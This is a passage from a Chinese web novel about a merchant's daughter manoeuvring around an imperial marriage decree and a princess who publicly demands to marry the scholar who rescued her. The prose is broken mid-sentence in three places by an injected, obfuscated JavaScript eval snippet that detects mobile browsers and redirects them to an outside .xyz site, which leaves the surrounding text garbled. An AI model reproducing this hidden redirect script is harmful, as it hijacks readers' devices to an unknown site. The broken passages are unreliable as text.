“薛家虽富甲一方,但终究只是皇商,根基尚浅,浮华之下,实则危机四伏。尤其近年,朝局动荡,各地商贾纷争不断。女儿常闻父亲感慨,‘世事如棋,步步为营,稍有不慎,便满盘皆输’。”薛楚楚的声音不疾不徐,却字字珠玑,掷地有声。 “我们虽有银钱,却缺了那层最坚实的庇护。宁远侯府,便是这层庇护,更是我们踏足更高处的绝佳跳板。” 她顿了顿,继续道:“顾泽高中探花,前途无量。顾侯爷身居高位,人脉广阔,即便是前太子拖累,当今也是安抚为要,绝不会对宁远侯府痛下杀手,否则便没 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16495974|185945||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 有这桩婚事了。女儿嫁入侯府,可从商女一跃成为侯府大少夫人,身份地位截然不同。届时,薛家在商界的许多困境,可迎刃而解,甚至能开辟出前所未有的新局面。” 薛财神放下茶盏,终于开口,目光锐利如刀,仿佛能洞穿人心:“这些,你此前也曾与为父提过。可你今日所言,怕不只是借侯府之势,为薛家铺路这般简单吧?你方才说,‘为薛家,也为自己’。你自己的未来,又作何打算?”他直指核心。 薛楚楚微微一笑,那笑容中带着一种令人心惊的自信与从容。她知道,这一刻是她向父亲正式展露自己真正野心的契机。 “父亲,女儿想在嫁人之后,正式插手家族相关事务。”她语出惊人,却又平静得仿佛在说一件再寻常不过的事情,“薛家现有的生意,虽已遍布大江南北,但大多仍是传统买卖,固步自封。女儿以为,未来十年,乃至数十年,天下大势必将有变,新的商机层出不穷。若我们墨守成规,迟早会被时代所淘汰,被更具远见之人取代!” 薛财神眉头微挑,他知道女儿有此志向,却没想到她会如此直白地提出,尤其是在刚被赐婚之后。他沉声问道:“你可确定自己的想法?你可知,侯府少夫人的身份,并非你想象中那般自由。深宅大院,规矩森严,你若想插手家族生意,难免会遭人非议,甚至引来侯府的不满,届时,你该如何自处?” 薛楚楚眼神坚定,没有丝毫退缩,与父亲锐利的目光针锋相对:“女儿确定!父亲,我自幼便随您耳濡目染,对天下商局,自有高屋建瓴的见解。这些年,我虽居于内宅,却从未停止对商道的钻研。那些暗中进行的投资,父亲可曾不满?” 薛财神想起这几年,女儿偶尔会提出一些看似异想天开的建议,他出于对女儿的疼爱和好奇,也曾拨出一小部分资金让她尝试。结果,那些投资无一例外地都取得了惊人的回报,甚至有几次,女儿的预判比他这个“薛财神”还要精准,简直是洞若观火。他心中对女儿的商业天赋,早已是佩服得五体投地。 “那些小打小闹,自然不算什么。”薛财神收敛了笑容,神色变得严肃起来,“可一旦你嫁入侯府,你便代表的不仅仅是薛家。你的一举一动,都可能牵连到两家声誉。你可想过,若侯府因此而阻挠你,你又当如何?” 薛楚楚目光灼灼,直视父亲,语气中带着一丝不易察觉的激动:“侯府自然有侯府的规矩,但女儿也有女儿的办法。顾泽乃探花郎,心怀天下,胸有锦绣,他不会是那种困于内宅琐事之人。我自会与他‘琴瑟和鸣,夫唱妇随’,让侯府看到我为夫家带来的助益,而非累赘!” “父亲,女儿等待这一天,已经等了太久。从我八岁那年,第一次翻阅您账房里的账本,看到那些数字跳动,便知道这才是我的战场!这些年,我看着薛家日益壮大,却也深知,若无更深远的谋划,再大的家业,也终有衰败的一天。侯府少夫人的身份,对我而言,不是枷锁,而是顺势而为的跳板,是让我能够谋图‘胜天半子’的绝佳时机!”她语气铿锵,字字透着不容置疑的野心。 薛财神看着女儿那双明亮而充满野心的眼睛,心中百感交集。他知道,这门亲事,对顾侯府而言,是多了一个聪慧的媳妇;对顾泽而言,是多了一个贤内助。但对他薛家而言,却是放出了一尾真正的凤凰,一个能带领薛家走向更高巅峰的掌舵人。 “好,很好!”薛财神终于露出了欣慰而自豪的笑容,他将手中的玉佩轻轻放在案上,发出清脆的声响,“既然你心意已决,那为父便为你铺路!薛家的未来投资,自今日起,便由你全权负责。嫁妆也好,家族的私库也罢,只要你需要,为父绝不吝啬,倾尽全力,助你一臂之力!” 他站起身,走到薛楚楚身旁,语重心长地拍了拍她的肩膀:“但你要记住,商场如战场,刀刀见血。你既入了侯府,行事便要更加谨慎,不可授人以柄,更要保护好自己!” 薛楚楚眼中闪过一丝感动,她知道父亲这是在全力支持她,将薛家的未来押注在她身上。她郑重地向父亲行了一礼:“女儿谨记父亲教诲。薛家的未来,女儿绝不辜负,定会让它更上一层楼!” 走出书房,薛楚楚抬头望向窗外,夕阳余晖将天空染成一片金红。 4. 第 4 章 顾湘不知道的是,一人一直关注着他。 顾泽紧握着手中那卷滚烫的圣旨,看着自己弟弟仓皇失措,他指尖几乎要将它捏碎。一股前所未有的沉重感,像铅块一样坠入心底,压得他喘不过气。 这桩婚事,分明是帝王精心布下的死局。 一个让宁远侯府自相残杀的局。 驸马不得参政,这是大宋不成文的铁律,可是无人知还有一条,就是商婿不入极品。而今,圣上不赐公主,偏偏将一位商女指给了他——一个新科探花,清流之名正盛的顾泽!其用心昭然若揭:就是要用那低贱的商贾身份,将他十载寒窗苦读、一身清贵傲骨,彻彻底底地“玷污”,斩断他入阁拜相、光耀门楣的所有可能! 父亲说,这是顾家必须付出的代价。 可父亲不知道,顾湘的心上人正是这个薛家女,顾泽现在都怀疑皇帝故意将薛楚楚赐婚与他,就是要看顾家从内部瓦解。 顾泽心中苦涩,他甚至不敢告诉父亲,父亲性格耿直,若是知晓必定会引起轩然大波。 可他十年寒窗,挑灯夜读,为的不是在后宅与一位商女相敬如宾,了此残生!他想的是修身齐家,治国平天下!他想的是能够在朝堂之上,为天下百姓谋福祉,为大宋江山添砖瓦!如今,一纸赐婚,竟要生生斩断他仕途的根基,将他的一生抱负化为泡影! 这种憋屈与不甘,像一根鱼刺狠狠卡在喉间,让他几欲窒息。胸中郁结难舒,顾泽将圣旨胡乱塞给候在一旁的小厮,头也不回地走出了侯府。 他需要静一静,需要在这春风沉醉的午后,找一个能让他暂时忘却烦恼的地方。哪怕只是片刻的逃离。 京城的街道一如既往地繁华喧嚣,车水马龙,人声鼎沸。小贩的叫卖声此起彼伏,孩童的嬉笑声清脆悦耳,马蹄踏在青石板上的“得得”声,交织成一曲热闹的市井交响。然而,这份热闹却丝毫驱散不了顾泽心头的阴霾,反而让他烦躁更甚。他漫无目的地走着,脚步沉重如灌铅,心事重重,仿佛每一步都踩在棉花上,虚浮而无力。 不知不觉,他竟拐进了一条相对偏僻的巷子。 这里是西城的百花巷,鱼龙混杂,是京城里有名的混乱之地。平日里,他这种侯府公子是绝不会踏足此处的。但今日心乱如麻,也顾不得许多。正当他心生悔意,欲转身离开时,巷子深处突然传来一阵嚣张的哄笑,伴随着一个女孩惊慌失措的尖叫,如同一道惊雷,猛地劈开了顾泽心头的混沌。 “小美人,别跑啊!陪爷几个喝一杯嘛!” “就是,看你这细皮嫩肉的,也不是这巷子里的人,怎么一个人跑这儿来了?” “哈哈,跟我们走吧,保你快活!瞧瞧这小脸蛋,啧啧,真是水灵!” 顾泽的眉头瞬间拧紧,脚步不由自主地加快,向巷子深处走去。脚步声在狭窄的巷道里回响,带着一股不容置疑的凛冽。 只见三五个穿着流里流气的男子,个个袒胸露臂,目露淫邪,将一个身形娇小的少女堵在墙角。那架势,分明是要强抢民女! “喊啊!你尽管喊!这百花巷里,谁敢管我们哥几个的闲事?”为首的刀疤脸□□着伸出手,就要去摸少女的脸蛋,“小美人,别怕嘛,跟着爷几个,保你吃香的喝辣的!” 那少女看上去年纪不大,约莫十五六岁。她死死护着怀里的一个布包,小脸吓得煞白,身体不住地发抖。然而,她那双杏眼里却燃烧着倔强,泪花在眼眶里打转,却硬是不让它们落下。 “你们……你们别过来!再过来我……我就喊人了!”她的声音带着哭腔,却还在努力装作凶狠的样子,奶凶奶凶的,带着几分不自量力的稚气,“我警告你,不许过来啊!我……我可会功夫!” 眼看着威胁无用,刀疤脸的手已近在咫尺,赵幼宁紧闭双眼,发出撕心裂肺的尖叫:“救命啊啊啊啊啊!” “住手!” 顾泽一声厉喝,声如惊雷,震得巷子里的空气都为之一颤。纵然他腿脚利落,但巷头巷尾仍有一段距离,眼看少女就要吃亏,他不得不先声夺人。 几个混混吓了一跳,伸出的手都哆嗦了一下,猛地回头。只见一个身穿青色长衫的年轻公子,不知何时已站在巷口。他身形挺拔如松,面容清俊如玉,眉宇间带着一股凛然正气。虽然年纪不大,但那种由内而外散发出的书卷气和贵公子的气质,让人一看就知道不是寻常人家出身。只是站在那里,就有一股清贵高洁的气势,让几个地痞心中不由自主地发虚。 “救救我!”赵幼宁没有感觉到想象中的恶心触感,又听到身边的对话,她猛地睁开双眸,高声求助,眼中燃起了绝处逢生的希望。 刀疤脸上下打量了顾泽一眼,看他一副文弱书生的模样,又想起这里是除了薛家,连贵人都避之不及的腌臜地,胆气立刻又壮了回来。他挺了挺肚子,眼中闪过一丝不屑。 “我当是谁,原来是个多管闲事的穷酸书生!”刀疤脸冷笑道,“小子,识相的赶紧滚,别耽误大爷们的好事!不然连你一起收拾!” 顾泽没有理会他的威胁,目光越过他们,落在那个受惊的少女身上。看到她那双满含惊恐却又带着一丝希冀的眼睛,他心中莫名一软,再看向刀疤脸时,目光已然淬着冰:“尔等真的这般执迷不悟?还不赶紧放人!” “呵,给你机会奈何你不中用啊。”刀疤脸狞笑一声,“兄弟们,给我上!让这小白脸知道知道,花儿为什么这样红!” 话音刚落,几个混混便一拥而上,拳脚并用,声势浩大。 顾泽眼神一凛,身形后退一步,微微成弓形。顾家乃将门之后,他虽自幼喜欢读书,但也没把祖宗的功夫完全扔下。对付这几个地痞流氓,绰绰有余! 只见他身形一晃,顺势一记手刀,精准地劈在跑得最快的那个混混的后颈要穴。那人哼都没哼一声,便软软地倒了下去,再也爬不起来。 其余几人见状,都愣住了。这……这书生还会武功? “愣着干什么!一起上!”刀疤脸又惊又怒,抄起旁边的一根木棍,就朝顾泽的头顶砸去,恶狠狠地骂道,“妈的,还真是扮猪吃老虎!” 顾泽侧身避过,右手闪电般探出,扣住刀疤脸的手腕,用力一拧。 “咔嚓!”一声脆响,骨骼错位的声音清晰可闻。 “啊——!” 刀疤脸发出一声杀猪般的惨叫,木棍脱手落地,整个人疼得冷汗直冒。 顾泽并未停手,一脚踹在他的膝盖上。刀疤脸“噗通”一声跪倒在地,再也站不起来。 剩下的两个混混早已吓破了胆,看到老大都被收拾了,哪里还敢上前?对视一眼,连滚带爬地跑了,边跑边喊:“有高手!快跑!” 刀疤脸也顾不上疼痛,挣扎着爬起来,撂下一句狠话:“你……你给老子等着!老子记住你了!”然后一瘸一拐地消失在巷子口。 整个过程,不过发生在电光火石之间。顾泽甚至连衣衫都没有弄乱,依旧是那副温润如玉的公子模样。赵幼宁眨眨眼,刚刚还在平缓下来的心,此刻却跳得更快了。眼前这一幕,简直比话本子里的英雄救美还要精彩万分…… 赵幼宁抬起头,看到顾泽,眼中闪过一丝惊艳。 玉树临风,风光霁月……这词,此刻才有了活生生的具象。 巷子里,转眼恢复了安静。 顾泽整理了一下微乱的衣衫,这才转身看向那个还缩在墙角的少女。刚才的打斗,似乎也消散了他心中的郁闷,让他心情莫名好了许多。 他上前几步,在离着对方三步远的地方站住,声音温和而疏离:“姑娘,你没事吧?” 他左右环顾,看到刚刚刀疤脸落下的那根木棍,将其捡起,伸到赵幼宁面前:“能站起来吗?” 阳光从巷子顶端洒下,在他清俊的脸上投下一片柔和的光影,让他整个人都仿佛在发光,带着一种不食人间烟火的清雅。 赵幼宁抬起头,一双清澈的杏眼怔怔地看着他,眼中还带着未褪的惊恐,但更多的,是一种难以言喻的光亮,宛如在最绝望的黑暗中,看到了一束救赎的光。她就那么看着他,忘了起身,也忘了说话,心脏在胸腔里疯狂跳动,一下比一下有力,仿佛要冲破胸膛。 时间,在这一刻,仿佛静止了。 顾泽看着眼前这个呆呆望着自己的少女,有些无奈。他伸出的棍子还悬在半空,收回来不是,不收也不是。这小姑娘怎么一直盯着他看?难道是被吓傻了? “姑娘?”他又轻声唤了一句,声音更加温和, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16495975|185945||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “已经没事了,你可以起来了。” 少女像是被惊醒的小兔子,猛地回过神来,脸颊“唰”地一下红透了,从脖子一直红到了耳根。她低下头,不敢再看顾泽,手忙脚乱地从地上爬起来,拍了拍身上的灰尘。动作慌张得像个做错事的孩子,声音细若蚊蚋:“多……多谢公子相救。” “举手之劳,不必客气。”顾泽收回木棍扔在一旁,手负在身后让开道路,保持着恰到好处的君子之礼:“此地不宜久留,姑娘还是尽快回家吧。那些恶人或许还会回来。” 他说完,便准备转身离开。顾泽今日心情本就不好,出手相救也只是出于本心,并不想与这萍水相逢的女子有过多牵扯。更何况,这里鱼龙混杂,他一个侯府公子,实在不宜久留。 然而,他刚迈出一步,衣袖却被一只白嫩的小手轻轻拉住了。 顾泽一愣,回头看去。 只见那少女鼓足了勇气,再次抬起头,一双水汪汪的杏眼紧紧地盯着他,眼神里带着一种他看不懂的执拗和坚定,还有一丝不易察觉的紧张。 “公子,你叫什么名字?家住何方?”她声音虽小,但每个字都说得很清楚,很认真,带着一种不容拒绝的恳切。 顾泽皱了皱眉。正经人家的女儿,是断然不会问陌生男子这种问题的。看来,她果然只是个不懂规矩的小丫鬟。但这样直接询问男子姓名住址,实在是有失妇德。 “萍水相逢,何必问名。”顾泽语气淡了几分,带着一丝疏离和不悦,轻轻挣开她的手,“姑娘,请自重。” 说完,他便不再停留,抬步就走。 “我叫幼宁!” 身后,突然传来少女清脆又急切的声音,带着一丝赌气般的倔强。 顾泽脚步一顿,但没有回头。幼宁?这名字倒有几分雅致,不像是寻常丫鬟的名字。 “我叫赵幼宁!”少女的声音更大了,带着一丝不容忽视的骄傲和一丝孤注一掷的急切,仿佛在宣告一个重要的事实,“你救了我,我……我要报答你!” 赵幼宁?这姓氏……顾泽心中一动,但随即摇了摇头。想多了,天下姓赵的人多了去了。他心中有些好笑。一个连自己都保护不了的小丫鬟,能如何报答他?给他做饭洗衣不成? 他摇了摇头,继续往前走。 “站住!我要你站住!” 少女的声音陡然拔高,带上了一股命令的口吻,那种语气,仿佛天生就习惯了发号施令,不容置疑。 已经走到巷口的顾泽终于停下脚步,有些不悦地回过头。这小姑娘是要恩将仇报?竟敢用这种口气和他说话! 只见那少女快步跑到他面前,拦住了他的去路。她仰着小脸,挺着胸膛,努力想让自己看起来很有气势,可泛红的眼角和微微颤抖的嘴唇,却暴露了她的紧张和不安。 她深深吸了一口气,仿佛在做什么重大决定,那双清澈的杏眼,在这一刻,亮得惊人,像是燃烧着什么炽热的火焰,孤勇而决绝。 她看着顾泽,一字一句,用尽了全身的力气,大声宣布道: “本宫就要嫁给你!” 声音清脆响亮,在狭窄的巷子里回荡,震得顾泽耳膜都在颤抖,脑中一片轰鸣。 “本……宫?” 顾泽彻底愣住了,他怀疑自己是不是听错了。他看着眼前这个穿着粗布裙子,脸上还沾着灰尘的“小丫鬟”,脑子一时有些转不过来。 本宫? 难道…… 一个荒唐至极、却又瞬间将所有线索串联起来的念头,在他脑海中如晴天霹雳般炸开,将他劈得外焦内嫩! 而周围,不知何时已经聚拢了一些看热闹的路人,听到这句话,都伸长了脖子往这边看,议论声此起彼伏: “哎呀,这小姑娘说什么呢?” “本宫?她以为自己是公主不成?” “哈哈,现在的小姑娘,为了嫁人真是什么话都敢说!” 议论声此起彼伏,但那少女却浑然不觉,依旧倔强地看着顾泽,等待着他的回答。 顾泽张了张嘴,却发现自己竟然说不出话来。 如果她真的是…… 那他今天,顾泽只觉得眼前一黑,几乎要站立不稳。他救的,究竟是谁?! 5. 第 5 章 顾泽的脸,在众目睽睽之下,瞬间涨成了猪肝色,热辣辣的,直烧到耳根。 “姑娘!”他几乎是咬着牙,压低了声音,语气中已带上了一丝薄怒:“饭可以乱吃,话却不可乱说!你可知你在说些什么?!” “我当然知道!”自称“幼宁”的少女,此刻却像卸下了所有矜持与伪装,那双清澈的眼眸中,全然是属于皇室公主的娇憨与高傲,以及不容置喙的任性。 她全然不顾周遭人投来的惊诧目光,一双亮晶晶的眼眸只专注地看着顾泽,语出惊人:“你救了本宫,按照那些话本里的说法,本宫就该对你以身相许!你长得这般好看,又如此厉害。 本宫……本宫甚是满意!” 她的话语天真而直白,带着不谙世事的纯粹与理所当然,却字字如惊雷,劈得顾泽头皮发麻。顾泽只觉一个头两个大,脑中嗡嗡作响。话本?以身相许?这都什么荒唐言论?! 他深吸一口气,极力强迫自己冷静。 “公主殿下,”他几乎是从牙缝里挤出这几个字,心中已是八成肯定,眼前这不知天高地厚的少女,正是当今圣上最宠爱的小女儿——幼宁公主。“此处人多眼杂,还请您慎言。今日之事,臣就当从未发生过,您也尽快回宫吧。” 他只想赶紧摆脱这个烫手山芋般的天大麻烦。此刻,他对迎娶薛楚楚之事再无半分抵触,甚至觉得,比起这位公主,那位商女其实……挺好的。 可幼宁公主显然不这么想。她眼神坚定,认定了眼前这个救了她的男人,就是上天赐予她的英雄,是她命中注定的驸马。她猛地一把抓住顾泽的袖子,那力道,生怕他下一刻就会夺路而逃。她高高噘着嘴,语气里是满溢的委屈与不容置疑。 “我不管!我认定你了!你休想赖账!”她那带着娇气的嗓音,在百花巷上空回荡,引得行人侧目:“本宫要嫁你!” 顾泽看着她那张写满了“我赖定你了”的娇俏脸庞,只觉眼前一阵天旋地转,头晕目眩。他刚刚才被一道赐婚圣旨断送了仕途前程,此刻,又被一位公主当街“逼婚”。顾泽只觉人生无常,命运多舛,他顾泽的命,怎么就这般苦涩! 命运的齿轮,在这一刻,以一种所有人都始料未及、荒诞不经的方式,疯狂而不可逆地转动了起来。 百花巷一隅,一扇窗半掩,只露出盈盈一线缝隙。室内,薛楚楚半倚在美人榻上,指尖轻拢一盏温度适宜的清茶,唇角勾勒出几不可察的弧度。丫鬟青禾站在窗边探头探脑,压低声音惊呼:“小姐,您瞧瞧,那顾公子真是……太可怜了!” 青禾眼中的“可怜”,是顾泽那张窘迫得涨成了猪肝色的俊脸,是他被幼宁公主死死拽住衣袖进退两难的狼狈姿态。可薛楚楚听在耳里,却只觉妙趣横生,眼底掠过一丝不易察觉的兴味。 “可怜?”薛楚楚轻笑一声,嗓音如珠玉落盘,清脆悦耳,却又带着一丝旁人难以察觉的冷冽与洞悉:“他若真可怜,又怎会走到今日这步田地?” 青禾不解,自家小姐明明是京城出了名的温婉闺秀,怎的今日瞧着顾公子这番窘境,竟是这般……幸灾乐祸? 而且……明明不是这顾府大公子被人纠缠? “小姐,这就是您说的好戏?”青禾想起今晨小姐神秘兮兮的吩咐,让她早早在此处设下茶点,果然,这出戏码比说书先生讲的还要精彩百倍。 薛楚楚放下茶盏,起身走到窗边,隔着细密的雕花格栅,将巷口那一幕尽收眼底。幼宁公主娇蛮任性,全然不顾及顾泽的窘迫,更不理会旁人投来的异样目光。她认定了的,便是不达目的誓不罢休。 “好戏才刚刚开始。”薛楚楚轻抚窗棂,指尖摩挲着冰冷的木纹,眼神深邃得仿佛能洞悉人心,“幼宁公主乃是圣上宠爱的幼女,要星星不给月亮,这份无度的宠爱将她养成了天真烂漫,不谙世事的性子。她从未经历过真正的挫折,更不知何为权衡利弊。对她而言,话本里的情节便是人间至理,英雄救美,便该以身相许。” 青禾听得一愣一愣的,在她看来公主殿下这般性情,恰恰是皇家金枝玉叶最纯粹的体现。然小姐的语气里,却分明带着一丝洞察世事的凉薄。 “她这般性格,于她而言是福是祸,尚且难说。但于顾泽而言,却是一剂猛药。”薛楚楚唇角的笑意更深,带着几分了然:“他自诩清高,一心仕途,却偏偏被一道赐婚圣旨困住。如今,又被一位公主当街‘逼婚’,两害相权取其轻,我薛楚楚难不成是他能左右衡量的?” 青禾恍然大悟,惊呼出声:“小姐,您是说……顾公子宁愿娶您,也不愿娶公主殿下?” “岂止是宁愿。”薛楚楚眼底闪过冷漠,话语笃定:“他会庆幸,庆幸有我薛楚楚这桩婚事,能为他挡去这桩天大的麻烦。” 顾泽救下幼宁公主,看似偶然,实则必然。她要的,就是这天翻地覆的局面,才能打破那道将她与顾泽捆绑在一起的圣旨,让她不再任人摆布。 …… 顾湘不知自己是如何回到的侯府,只觉魂魄被生生抽离,躯壳行尸走肉般跌入房中。他将自己反锁,任由空荡的房间吞噬一切声响与光亮,不饮不食,犹如一尊失却神志的木偶,了无生机。 酒意散尽,那股曾被麻痹的绝望,此刻如潮水般铺天盖地涌来,比醉酒时更为清晰,也更噬骨磨人。他一遍遍地在脑海中重演那道冰冷的赐婚圣旨,大哥顾泽接旨时那张平静得近乎漠然的脸,以及父亲那句如利刃般扎心的斥责——“你这孽子,早晚败光顾家!”每一次回想,都像钝刀子在他心口来回研磨,鲜血淋漓,痛彻骨髓,将他生生凌迟。 他完了。他这辈子,彻底完了,再无翻身之日。 就在顾湘沉溺于深渊时,紧闭的房门“砰”地一声,被粗暴地撞开!他的小厮长顺连滚带爬地冲了进来,那张年轻的脸上,混杂着惊骇与极度兴奋的诡异神色,几乎扭曲变形。 “二……二公子!出大事了!天大的事啊!”长顺声音尖利,带着哭腔,几乎破音。 顾湘眼皮都未曾抬一下,声音嘶哑得如同破败的枯叶,毫无生气:“滚出去。我不想听。”如今这世上,还有何事能比他的心上人要嫁给他的亲哥哥,更“大”更绝望? “不是啊二公子!”长顺急得眼泪都快飙出来了,也顾不得什么主仆尊卑,一把死死抓住顾湘冰冷的胳膊,语无伦次地吼道:“是……是大公子!大公子他……他被幼宁公主给赖上了!” “什么?”顾湘终于有了一丝微弱的反应。他缓慢地抬起头,那双曾盛满光华的眼睛此刻空洞无物,却又带着一种被绝望搅动的混沌,茫然地望向长顺。 长顺大口喘着粗气,竹筒倒豆子般将一连串惊天动地的消息倾泻而出:“就今天下午,大公子不是出门散心去了吗?结果在西城百花巷,救了……救了微服私访的幼宁公主!然后……然后那公主殿下就当着满大街的人,拉着大公子的袖子,指着他,说……说要嫁给大公子!” “……” 顾湘彻底愣住了。他足足呆滞了有半分钟,才像块生锈的铁石般,迟钝而艰难地消化着这段荒谬至极的信息。 大哥……救了公主? 公主……要嫁给大哥? 还当着满大街的人? 这……这他妈的是什么荒唐至极的戏码! 顾湘那颗被酒精和绝望锈蚀的大脑,像是卡壳的齿轮,开始以一种令人痛苦而缓慢的速度,艰难地转动起来 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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这一刻顾湘那颗停顿许久的大脑,开始以前所未有的速度疯狂运转起来,每一个齿轮都发出刺耳的摩擦声,带着近乎自毁的决绝。 公主的心意是关键,只要公主坚持,事情就有转机。可光靠公主一个人还不够,必须……必须把事情闹得更大! 大到皇上不得不重新考虑这桩赐婚! 大到所有人都认为,顾泽和幼宁公主才是天造地设的一对,而薛楚楚若是插在中间,便是那不识好歹、棒打鸳鸯的罪人! 对!舆论! 他要制造舆论!他要掀起滔天舆论! 顾湘的眼睛里,重新燃起了灼灼的光芒。那是一种置之死地而后生,带着几分孤注一掷的疯狂,如狼一般凶狠而明亮的光。他不再是那个只会自怨自艾的纨绔,他要为了他唯一的希望,去拼一次!哪怕粉身碎骨,哪怕万劫不复,他也在所不惜! 他看了一眼铜镜里那个面色惨白、双眼通红、胡子拉碴的自己,扯出了一个比哭还难看的,却又带着某种决绝与疯狂的笑容。 顾湘啊顾湘,你不是一直都想当个有用的人吗? 现在,机会,就摆在你面前! 他猛地推开房门,发出“哐当”一声巨响,头也不回地冲了出去,留下长顺一个人在原地彻底发愣,惊魂未定。 “二公子……您去哪儿啊?”长顺呆滞地问道,声音有些颤抖。 风中,只传来顾湘带着几分疯魔的嘶吼,声音被风吹得有些破碎,却字字清晰,带着势不可挡的决绝与孤勇: “去找人!去他妈的给这把火,再添上几斤油!” 6. 第 6 章 幼宁公主的“逼婚”闹剧,很快便传遍了京城,并以迅雷不及掩耳之势,传入了金碧辉煌的皇宫。 御书房内,当今圣上正批阅奏折。他刚登基不久根基未稳,朝局虽勉强安定,实则暗流涌动。眉宇间尽是化不开的烦躁,文帝捏了捏鼻梁,端起一旁的茶盏呷了一口,随即眉头紧锁,沉声怒喝:“李德福?还不给我滚进来!” 正怀疑人生的李德福一个激灵,听到万岁爷带着怒气的怒吼,几乎是连滚带爬地冲进御书房:“万岁爷息怒!” 文帝沉默地盯着他,半晌,才用指尖轻叩身旁案几,沉声道:“茶。” 李德福一激灵,连忙冲上前去,麻利地换上新茶。文帝端起,热茶入口,胸中烦郁才稍解。他冷冷瞥了一眼愁眉苦脸的李德福:“说吧,怎么回事。” “这……”李德福战战兢兢,将幼宁公主在百花巷的“惊世壮举”一五一十地禀报。 “荒唐!简直荒唐!”皇帝猛地拍案而起,奏折散落一地。他宠爱幼宁,这是人尽皆知的事实。可这份爱,却不能逾越皇家的尊严与规矩。 “顾泽?”皇帝强压怒火,只觉这个名字在舌尖打了个转,莫名熟悉,却又一时想不起所在,沉声问道。 李德福躬身,小心翼翼地提醒道:“回禀万岁爷,您可忘了?顾泽乃宁远侯之子,新科探花,前途无量。只是……陛下曾金口玉言,赐婚他与江南薛家商女薛楚楚。” 文帝的面容微微变色,若刚刚他是作戏,这会却真的露出杀意。 “宁远侯这是心大了?”文帝的嗓音平静得可怕,李德福却不自觉的一哆嗦,赶忙解释:“陛下,好像是……意外。” 皇帝闻言,眉头紧锁。赐婚薛楚楚,是他为了安抚江南富商势力,巩固自己皇位,同时也是为了压制先太子一脉。如今幼宁这一闹,岂不是将他置于两难之地,进退维谷? “幼宁呢?”皇帝揉了揉眉心,只觉头痛欲裂。 “公主殿下……她,她回宫后便直奔凤仪宫,哭着向皇后娘娘告状,说顾泽不肯娶她。”王公公小心翼翼地回答。 皇帝闭了闭眼。他太了解幼宁了,那孩子被他宠得不知天高地厚,认定的事情十头牛都拉不回来。可顾泽他爹顾渊是先太子的伴读,如何能做公主的驸马?且不说身份有别,更重要的是,他已赐婚顾泽与薛楚楚。 若真让幼宁嫁给顾泽,岂不是自毁圣旨,让天下人耻笑?若不让嫁,幼宁定会闹得天翻地覆。但若真的将幼宁赐婚给一个先太子旧臣,且是已有了婚约的臣子,这无疑会成为朝野笑柄,更会引起其他皇子和世家的不满。 就在此时王公公一路小跑的进来,躬身禀报:“陛下,皇后娘娘求见。” 皇帝皱眉,皇后定然是来为幼宁求情的。他今日,怕是不得安宁了。 不提文帝如何安抚妻女,薛府的书房内却是一片岁月静好的安宁。 薛楚楚正坐在一张棋盘前,纤长的手指捻着一枚黑子,凝神沉思。绿蜡坐在对面,手中的白子举棋不定。棋盘上,黑白两条大龙正绞杀得难分难解,战况胶着,杀机四伏。 青禾轻手轻脚地走了进来,压低了声音,语气里却难掩兴奋:“小姐,都按您说的办了。” “嗯。”薛楚楚应了一声,目光依旧没有离开棋盘。 “我们的人把公主殿下那句‘本宫就要嫁给你’,编成了好几个版本的才子佳人故事,找了京城里最有名的几个说书先生,在各大茶楼酒肆里那么一说……” 青禾的声音都带着笑意,“现在外面都传疯了,说探花郎和公主是天定的缘分,是文曲星遇上了紫微星,简直是天作之合!” “还有,顾家二公子那边……也动了。” 听到这里,薛楚楚捻着棋子的手,终于微微一顿。绿蜡瞧见主子的注意力被引走,连忙伸手在两枚棋子上拂过。 “把作弊的给我换回来。”薛楚楚语气平静,仿佛后脑勺长了眼睛,“你继续说。”她抬起眼,看向青禾,眼底波澜不惊。 青禾连忙继续说道:“顾二公子从府里冲出来,把他那些狐朋狗友全叫上了,正满京城地散播消息呢!他比我们还狠,直接说大公子和公主早就私下相识,情根深种,皇上那道赐婚圣旨才是乱点鸳鸯谱!” 薛楚楚听完,眼底闪过一丝了然的笑意。这个顾湘,倒比她想的,更有几分魄力。不惜败坏自己兄长的名声,也要搅黄这桩婚事。这份为了她不顾一切的疯劲儿,让她很欣赏。 “很好。” 薛楚楚的目光重新回到棋盘上,手中的黑子轻轻落下。 “啪”的一声,清脆悦耳。 棋盘上,原本岌岌可危的黑龙,因这一子落下,瞬间盘活,如枯木逢春,反过来将那条张牙舞爪的白龙,困入万劫不复的死局。 大局已定。 “小姐,”青禾还是有些不解,“您……您就这么确定,事情会按您想的发展吗?万一……万一皇上震怒,降罪于顾家和公主……” “他不会。”薛楚楚淡淡地说道,语气笃定。她端起手边的茶,吹了吹热气:“皇上赐婚,一是为了安抚我爹这个‘财神爷’,二是为了敲打顾家。他想用我商女的身份,断了 